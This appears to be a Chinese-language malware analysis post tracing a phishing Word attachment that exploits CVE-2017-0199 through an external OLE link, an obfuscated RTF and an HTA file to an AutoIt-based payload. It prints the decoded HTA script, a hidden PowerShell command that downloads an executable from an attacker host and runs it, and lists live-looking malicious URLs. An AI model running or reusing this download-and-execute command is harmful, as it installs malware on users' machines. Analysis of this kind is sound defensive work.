CVE 2017-0199漏洞利用的新姿势
近日从客户处捕获一枚邮件附件中的可疑word样本,以下是扫描结果,检测率貌似不高。
手动分析吧。
文件md5:0b16b255918264667a9f03e0b9f45167
1.攻击流程的第一步
打开该word样本没有给任何提示该就直接联网获取文件:
windbg挂着找了半天,一直没发现这个链接动作是怎么触发的。后来在发现 document.xml.rels里面找到一个链接到外部的oleobject对象,指向地址https://klotshop.tech/images/maps/tisty.doc。
在document.xml里找到该oleobject的属性。
![CVE 2017-0199漏洞利用的新姿势](http://image.3001.net/images/20171225/15141736033162.png!small)
通过这个oleobject ,office可以链接外部的office文档,当然这个oleobject属性也可以添加script monker ,soap monker标签来触发0199和8579等office漏洞, 目前也发现了用使用这样的方法来攻击的样本一批样本。
2.攻击流程的第二步
Tisty.doc下载下来后发现是个rtf格式的文档,Vt上一看,只有几个厂商对这个文件检测,也就是说如果用这个文件来做攻击的话国内的杀软都会漏过去?
文件头如下:
Objaulink objupdate,标准的0199的线索,继续往下找,:
Urlmonker 的标识符E0C9EA79F9BACE118C8200AA004BA90B,病毒作者加入了各种符号混淆,目的就是绕过网上公开的那些yara规则,继续往下:
url的地址,为了绕过yara检测,也是加入了各种符号隔开有意义的字符段,不过看起来效果很好,vt上对这个文档的检测确实很少。
url解出来后是https://klotshop.tech/images/maps/nin.hta,一个hta文件,由于0199漏洞的存在,该hta文件会被直接执行。
3.恶意攻击流程的第三步:
nin.hta文件内容如下:
解密后如下:
Dim adIM bSET a = CreateObject("WScript.Shell") b = " pOWershELl.ExE -EX bYpASs -Nop -whIDDEn iNvOKE-WEbrEQuESt -uri 'https://longstop.club/Smileys/kina/dlnd.php'-OUtfilE '%APPdATa%kalat.exe' ; InvOKe-iTem '%appdATa%kalat.exe'" a.rUN ""C:\Windows\system32\cmd.exe""/c"", 0 SET a = nOtHINgself.CloSE
4.攻击流程的第四步:
第三步中的hta文件主要功能就是用powershell去访问https://longstop.club/Smileys/kina/dlnd.php并将返回的内容保存为%APPdATa%kalat.exe并执行。
该链接会302到另外一个地址。
https://fex.net/get/177440922804/108291971
然后又会继续302到https://fs5.fex.net/get/177440922804/108291971/a4f874ea/fate.exe
https://fex.net/是一个类似网上云盘的网站,可以让用户随意上传文件。
最后会下载到这个exe
5.攻击流程的第五步:
fate.exe,会释放一个autoit脚本加载器和一个加密的autoit脚本,以及一些其他的文件,并调用加载器加载该autoit脚本。
Autoit脚本加载器是干净的官方版本,不会被杀,而加密的脚本本身不是可执行格式,因此也不会被杀,也就是这个文件释放出来的所有文件都不会被查杀,作者也是试图通过这种手段来免杀,不过效果看起来不太好,vt信息显示这个文件本身被大多数厂商检测。
综合上面的分析,第二步中的恶意文档被查杀的概率很低,第一步中的文档次之,而最后一步中的恶意软件检出率非常高,可以看到钓鱼攻击中使用各种带变形后的nday的文档而非exe来绕过杀软的静态检测还是很奏效,当然最后这个真正实施恶意行为的pe免杀实在做的很差。
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- layui数据表格自定义每页条数limit设置
- Laravel 集成微信用户登录和绑定的实现
- PHP实现微信对账单处理
- Laravel5.1框架路由分组用法实例分析
- PHP的HTTP客户端Guzzle简单使用方法分析
- laravel 框架实现无限级分类的方法示例
- 详解Laravel5.6通过路由进行API版本控制的简单方法
- php+layui数据表格实现数据分页渲染代码
- thinkPHP框架乐观锁和悲观锁实例分析
- PHP+fiddler抓包采集微信文章阅读数点赞数的思路详解
- laravel框架数据库操作、查询构建器、Eloquent ORM操作实例分析
- Laravel框架实现即点即改功能的方法分析
- PHP使用PDO实现mysql防注入功能详解
- laravel接管Dingo-api和默认的错误处理方式
- PHP接入微信H5支付的方法示例